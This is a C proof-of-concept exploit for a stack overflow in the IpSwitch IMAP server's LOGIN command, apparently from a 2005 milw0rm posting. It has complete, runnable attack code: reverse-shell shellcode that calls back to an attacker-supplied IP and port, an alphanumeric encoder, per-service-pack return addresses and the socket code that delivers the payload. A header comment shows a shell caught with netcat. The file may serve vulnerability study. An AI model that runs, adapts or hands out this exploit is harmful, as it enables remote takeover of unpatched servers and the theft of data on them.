lilbool/vuln-code-analysis
0
1/*
2IpSwitch IMAP Server LOGON stack overflow.
3Software Hole discovered by iDEFENSE
4POC written by nolimit and BuzzDee
5
6First, some information for the few of you that know how this stuff works.
7The reason you see no SP2 or 2003 offsets is because of Windows SEH checks.
8Thats right, in this one situation, They've stopped hackers from exploiting the machine.
9At least with as much research as I care to do. The problem lies in the
10fact that only alpha numeric memory addresses can be used in this exploit.
11So what lies within the few regions of memory that is alpha numeric safe? Only system
12DLLs.(Well also a 7000 byte TEB block section, which doesn't really produce much either).
13So any SEH address overwritten that points to a system DLL will fail past Windows XP SP2.
14From what I've read and the few tricks I've tried, Theirs no way currently to get around the
15protection In my situation.
16
17For the sharp ones, you've maybe noticed that XP SP1 isn't an offset. This is because
18of two reasons, While I've developed along with skylined an alpha numeric shellcode
19to handle the stack protections in Windows XP/2K3, I don't think he's ready to release
20it yet.So, when It does come around, you can use that and re-adjust the stack accordingly
21for proper exploitation of SP1.
22
23The size we have on the stack is too small for a bindshell, but big enough for a reverse shell!
24So I use ALPHA2's decoder and encoder (modified) to write info to reverse shell, then encode it.
25visit http://www.edup.tudelft.nl/~bjwever/documentation_alpha2.html.php for more information.
26
27Now, for the "impact assessment".
28Because this doesn't work on SP2 / 2003, the 53 million users that use Imail should
29mostly be safe from complete ownage. But, Do not let this fact let you not patch your
30server! This exploit, sent with any offset, will still crash your IMAP server!
31With that said, Thier is still a small amount of servers online that run one of these
32targetted offsets, and therefore can be exploited. I hope this Proof Of Concept is the
33push administrators need to patch their software.
34
35For Da Skiddies: this exploit is teh oww kay. I g0t a f3w shells0rs.
36
37 C:\HACKING\tools>nc -vv -l -p 3333
38 listening on [any] 3333 ...
39 DNS fwd/rev mismatch: 2kvm != 2kvm.launchmodem.com
40 connect to [192.168.1.95] from 2kvm [192.168.1.93] 1078
41 Microsoft Windows 2000 [Version 5.00.2195]
42 (C) Copyright 1985-2000 Microsoft Corp.
43
44 C:\WINNT\system32>_
45
46Questions? Comments?
47 nolimit@coreiso.org
48
49
50 - - ---.
51 .----------------------. | ·
52 | :::::::::''''':::::: | ! · /
53 l ''''' '': | ` /_/
54 .--- --·X·----------- -- - - | - c o r e i s o __ \ · - - ---.
55 | ! : /_/\ \/ |
56 | _\ \ \ |
57 S! /\____ | _ ______/\ __ ______/\ __ ______/\ / /\_\/ _______ /\______
58 _/ _/_____\ _ \__ _ \__ _ \_/ / \ _/ ____// _ \_
59 // / _ / / _/ / / / / / \_____ |/ /
60_/ / / / _/ \ _/\ ______/\/ /: |/ / /|
61\ ___________/\ _________\ _____|\______\ __________\ /|| _______________|
62 \/ . . \/ \/ . \/ /_/ / |______\ .
63 | | . _\ \ / |
64 | | l /_/\_\/ |
65 `------ | ------- -- - - ---·X·-- - -_\ \ \ - - - -- ----'
66 . | :. ..... !. / /\_\/
67 : | :::::......::::::::: |: / /. \
68 | `----------------------'| /_// / www.coreiso.org
69 `--- - - | \ \ / Innovation, not imitation.
70 - - ---' \_\/
71
72*/
73#include <stdio.h>
74#include <string.h>
75#include <winsock.h>
76#pragma comment(lib,"ws2_32")
77
78void cmdshell (int sock);
79long gimmeip(char *hostname);
80char buffer[2500];
81
82//special stuff
83char* alphaEncodeShellcode(char *shellcode, int size);
84// un-crypted shellcode that we'll fill our retn values, then encode.
85char unEncShellcode[]=
86"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
87"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
88"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
89"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
90"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
91"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
92"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
93"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
94"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
95"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68"
96//160 above, ip next 4 bytes then, pass 2 theres port
97"\x64\x64\x64\x64\x66\x68\x0d\x05\x66\x53\x89\xe1\x95\x68\xec\xf9"
98"\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68"
99"\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3"
100"\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab"
101"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51"
102"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6"
103"\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6"
104"\xff\x77\xfc\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0";
105
106//modified encoded alpha num SUB ECX, 2E8 JMP ECX
107char jmpBack[]=
108"VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089"
109"IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIoqYyKHTB30WpyoKQAPA";
110int paddingSize; // change when changing shellcode. 676 bytes - shellcodesize = this.
111char jmp2KSP4[] = "\x40\x43\x44\x78"; //JMP EBX 2000 SP4 TESTED
112char jmp2KSP3[] = "\x40\x23\x44\x78"; //JMP EBX 2000 SP3
113char jmp2KSP2[] = "\x40\x21\x46\x78"; //JMP EBX 2000 SP2
114char jmp2KSP1[] = "\x62\x54\x30\x77"; //POP POP RETN 2000 SP1 (no jmp ebx)
115char jmp2KSP0[] = "\x6C\x30\x6B\x77"; //JMP EBX 2000 SP0
116char jmpXPSP0[] = "\x63\x4F\x60\x77"; //JMP EBX WinXP SP0 no SEH XOR prot so JMP EBX is ok
117
118int main(int argc,char *argv[])
119{
120 WSADATA wsaData;
121 struct sockaddr_in targetTCP;
122 int sockTCP;
123 unsigned short port = 143;
124 long ip;
125 if(argc < 5)
126 {
127 printf("IpSwitch IMAP server Remote Stack Overflow.\n"
128 "This exploit uses a reverse shell payload.\n"
129 "Usage: %s [retnaddr] [retport] [target] [address] <port_to_exploit>\n"
130 " eg: %s 192.168.1.94 1564 2 192.168.1.95\n"
131 "Targets:\n"
132 "1. Windows XP SP 0.\n2. Windows 2000 SP4\n3. Windows 2000 SP3\n"
133 "4. Windows 2000 SP2\n5. Windows 2000 SP1\n6. Windows 2000 SP0\n"
134 "Read comments in source code for more info.\n"
135 "Coded by nolimit@CiSO and BuzzDee.\n",argv[0],argv[0]);
136 return 1;
137 }
138 if(argc==6)
139 port = atoi(argv[5]);
140 WSAStartup(0x0202, &wsaData);
141 printf("[*] Target:\t%s \tPort: %d\n\n",argv[4],port);
142 ip=gimmeip(argv[4]);
143 targetTCP.sin_family = AF_INET;
144 targetTCP.sin_addr.s_addr = ip;
145 targetTCP.sin_port = htons(port);
146 //set ip/port specified. Probably could have done this easier, but whatever.
147 unsigned long revIp = gimmeip(argv[1]);
148 unsigned long *revPtr = (unsigned long *)&unEncShellcode;
149 revPtr = revPtr + (160/4); //go to ip place, it adds by 4, and it's 160 bytes away.
150 *revPtr = revIp;
151 char *portPtr = (char *)revPtr + 6; //ptr + 2 bytes past
152 int rPort = atoi(argv[2]);
153 char *revPortPtr = (char *)&rPort;
154 memcpy(portPtr,revPortPtr+1,1);
155 memcpy(portPtr+1,revPortPtr,1);
156 //done formatting, now lets encode it.
157 char *shellcode = alphaEncodeShellcode(unEncShellcode,sizeof(unEncShellcode));
158 paddingSize = 676 - strlen(shellcode);
159 //form buffer here.
160 memset(buffer,'\x00',2500);
161 strcpy(buffer,"A001 LOGIN user@");
162 memset(buffer+16,'\x41',paddingSize); //INC ECX nopslide
163 strcat(buffer,shellcode);
164 strcat(buffer,"r!s!"); //jmp over SE handler
165 switch(atoi(argv[3]))
166 {
167 case 1:
168 printf("[*] Targetting Windows XP SP 0..\n");
169 strcat(buffer,jmpXPSP0);
170 break;
171 case 2:
172 printf("[*] Targetting Windows 2000 SP4..\n");
173 strcat(buffer,jmp2KSP4);
174 break;
175 case 3:
176 printf("[*] Targetting Windows 2000 SP3..\n");
177 strcat(buffer,jmp2KSP3);
178 break;
179 case 4:
180 printf("[*] Targetting Windows 2000 SP2..\n");
181 strcat(buffer,jmp2KSP2);
182 break;
183 case 5:
184 printf("[*] Targetting Windows 2000 SP1..\n");
185 strcat(buffer,jmp2KSP1);
186 break;
187 case 6:
188 printf("[*] Targetting Windows 2000 SP0..\n");
189 strcat(buffer,jmp2KSP0);
190 break;
191 default:
192 printf("Target error.\n");
193 return 1;
194 break;
195 }
196 memset(buffer+strlen(buffer),'\x41',29);
197 strcat(buffer,jmpBack); //decodes to jmp back to top part of buffer
198 memset(buffer+strlen(buffer),'\x41',1323);
199 strcat(buffer," nolimits\r\n");
200 //buffer formed
201 if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
202 {
203 printf("[x] Socket not initialized! Exiting...\n");
204 WSACleanup();
205 return 1;
206 }
207 printf("[*] Socket initialized...\n");
208 if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
209 {
210 printf("[*] Connection to host failed! Exiting...\n");
211 WSACleanup();
212 exit(1);
213 }
214 printf("[*] Sending buffer.\n");
215 Sleep(1000);
216 if (send(sockTCP, buffer, strlen(buffer),0) == -1)
217 {
218 printf("[x] Failed to inject packet! Exiting...\n");
219 WSACleanup();
220 return 1;
221 }
222 Sleep(1000);
223 closesocket(sockTCP);
224 WSACleanup();
225 printf("Exploit sent. Reverse Shell should be comming if everyhing worked.\n");
226 return 0;
227}
228
229/*********************************************************************************/
230long gimmeip(char *hostname)
231{
232 struct hostent *he;
233 long ipaddr;
234
235 if ((ipaddr = inet_addr(hostname)) < 0)
236 {
237 if ((he = gethostbyname(hostname)) == NULL)
238 {
239 printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
240 WSACleanup();
241 exit(1);
242 }
243 memcpy(&ipaddr, he->h_addr, he->h_length);
244 }
245 return ipaddr;
246}
247/*********************************************************************************/
248
249//Below here, all code is modified code from ALPHA 2: Zero-tolerance by Berend-Jan Wever.
250// aka Skylined <skylined@edup.tudelft.nl>. Hats off to him.
251
252//ecx ascii decoder.
253#define ecx_mixedcase_ascii_decoder "IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"
254// shellcode ptr & size
255char* alphaEncodeShellcode(char *shellcode, int size)
256{
257 int i, input, A, B, C, D, E, F;
258 char* valid_chars="0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
259 //first, create a big enough shellcode memory section
260 char *encShellcode = (char *) malloc(sizeof((ecx_mixedcase_ascii_decoder) + (size * 2)));
261 strcpy(encShellcode,ecx_mixedcase_ascii_decoder);
262 char buff[4];
263 int z=0;
264 for(;z < size;z++)
265 {
266 // encoding AB -> CD 00 EF 00
267 A = (shellcode[z] & 0xf0) >> 4;
268 B = (shellcode[z] & 0x0f);
269
270 F = B;
271 // E is arbitrary as long as EF is a valid character
272 i = rand() % strlen(valid_chars);
273 while ((valid_chars[i] & 0x0f) != F) { i = ++i % strlen(valid_chars); }
274 E = valid_chars[i] >> 4;
275 // normal code uses xor, unicode-proof uses ADD.
276 // AB ->
277 D = 0 ? (A-E) & 0x0f : (A^E);
278 // C is arbitrary as long as CD is a valid character
279 i = rand() % strlen(valid_chars);
280 while ((valid_chars[i] & 0x0f) != D) { i = ++i % strlen(valid_chars); }
281 C = valid_chars[i] >> 4;
282 //edit, use curChar ptr to strncpy it.
283 //printf("%c%c", (C<<4)+D, (E<<4)+F);
284 sprintf(buff,"%c%c",(C<<4)+D, (E<<4)+F);
285 strcat(encShellcode,buff);
286 }
287 return encShellcode;
288}
289
290// milw0rm.com [2005-06-07]